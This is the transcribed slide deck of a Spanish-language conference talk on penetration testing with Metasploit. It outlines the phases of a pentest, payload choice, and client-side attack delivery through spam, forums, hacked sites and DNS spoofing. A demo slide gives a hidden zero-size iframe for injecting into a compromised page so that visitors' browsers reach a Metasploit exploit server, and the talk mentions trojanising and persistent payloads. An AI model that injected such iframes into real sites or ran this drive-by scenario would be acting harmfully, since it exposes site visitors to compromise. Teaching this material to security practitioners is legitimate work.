pentesting con metasploit framework

25
Pentesting con Metasploit Framework Pablo González

Upload: eventos-creativos

Post on 28-May-2015

486 views

Category:

Technology


2 download

DESCRIPTION

Charla impartida por Pablo González, de la empresa Informática 64 para el evento Asegur@itCamp4! que tuvo lugar durante los días 26, 27 y 28 de Octubre de 2012 en El Escorial, Madrid.

TRANSCRIPT

Page 1: Pentesting con metasploit framework

Pentesting con Metasploit Framework

Pablo González

Page 2: Pentesting con metasploit framework

¿Qué es Metasploit?

Es el caos, puro y bello por fuera, eterno y complejo por

dentro, es puro pentesting…

Page 3: Pentesting con metasploit framework

Agenda

1. Arquitectura de Metasploit2. Fases de un test de intrusión3. ¿Dónde participa Metasploit?4. El arte de la intrusión5. El bien y el mal…6. Demo7. La tienda en casa

Page 4: Pentesting con metasploit framework

Arquitectura?

Page 5: Pentesting con metasploit framework
Page 6: Pentesting con metasploit framework

Fases Test Intrusión

Page 7: Pentesting con metasploit framework

Fases

Alcance y términos del test de intrusión

Recolección de informaciónAnálisis de vulnerabilidadesExplotación de vulnerabilidadesPost-Explotación del sistemaGeneración de informes

Page 8: Pentesting con metasploit framework

¿Dónde participa?

Page 9: Pentesting con metasploit framework

Lo importante es…

Participar!!!

Recolección de informaciónAnálisis de vulnerabilidadesExplotación de vulnerabilidadesPost-Explotación

Pero incluso… ayuda a generar informes!

Page 10: Pentesting con metasploit framework

El arte de la intrusión

Page 11: Pentesting con metasploit framework

¿Arte o Ingeniería?

Procedure pentesting;BEGIN

writeln(‘paso 1’)writeln(‘paso 2’)…arte;

END;

Procedure arte;…

Page 12: Pentesting con metasploit framework

Ámbito

Explotación vulnerabilidades (pero…)

Best and Worst Practices

Page 13: Pentesting con metasploit framework

Elección del payload

Más de 200 payloads…

Son nuestras cartas… ¿Siempre usaremos al rey?

Page 14: Pentesting con metasploit framework

Tipos de Intrusión

¿Cómo lanzo los exploits?

Sin Interacción… (terror!)Con Interacción… (client-side attack!)

Page 15: Pentesting con metasploit framework

Client Side Attack!

Dark Shadows, ¿Cómo hago para que hagan peticiones a mí?

Mailing? (spam??)Foros…Páginas web hackeadas…Publicaciones en InternetAcortadores…Ataques locales (DNS Spoof)

Page 16: Pentesting con metasploit framework

El bien y el mal…

Page 17: Pentesting con metasploit framework

El límite

Debemos ser éticos… ¿Lo somos?

La delgada línea…

Podemos utilizar los ataques client-side para: (muchas, muchas cosas)

Distribución malware…Payloads permanentes con MSF!

Page 18: Pentesting con metasploit framework

Demo: A jugar!

Page 19: Pentesting con metasploit framework

¿Qué vamos a hacer?

Escenario: (idea del mundo real… ^^)

1. Página hackeada…2. Iframe que apunte a 1 server con

MSF3. Lanzamiento de exploits contra

cliente4. Obtenemos el control…5. ¿Troyanizamos? (distribución

malware)

Page 20: Pentesting con metasploit framework

Iframe…

<iframe src=http://192.168.56.101:8080/ width=0 height=0 style=“hidden” frameborder=0 marginheight=0 marginwidth=0/>

Page 21: Pentesting con metasploit framework
Page 22: Pentesting con metasploit framework
Page 23: Pentesting con metasploit framework

La tienda en casa

Page 24: Pentesting con metasploit framework

…y han tenido la paciencia…

Metasploit para Pentesters

He tenido el honor…

Page 25: Pentesting con metasploit framework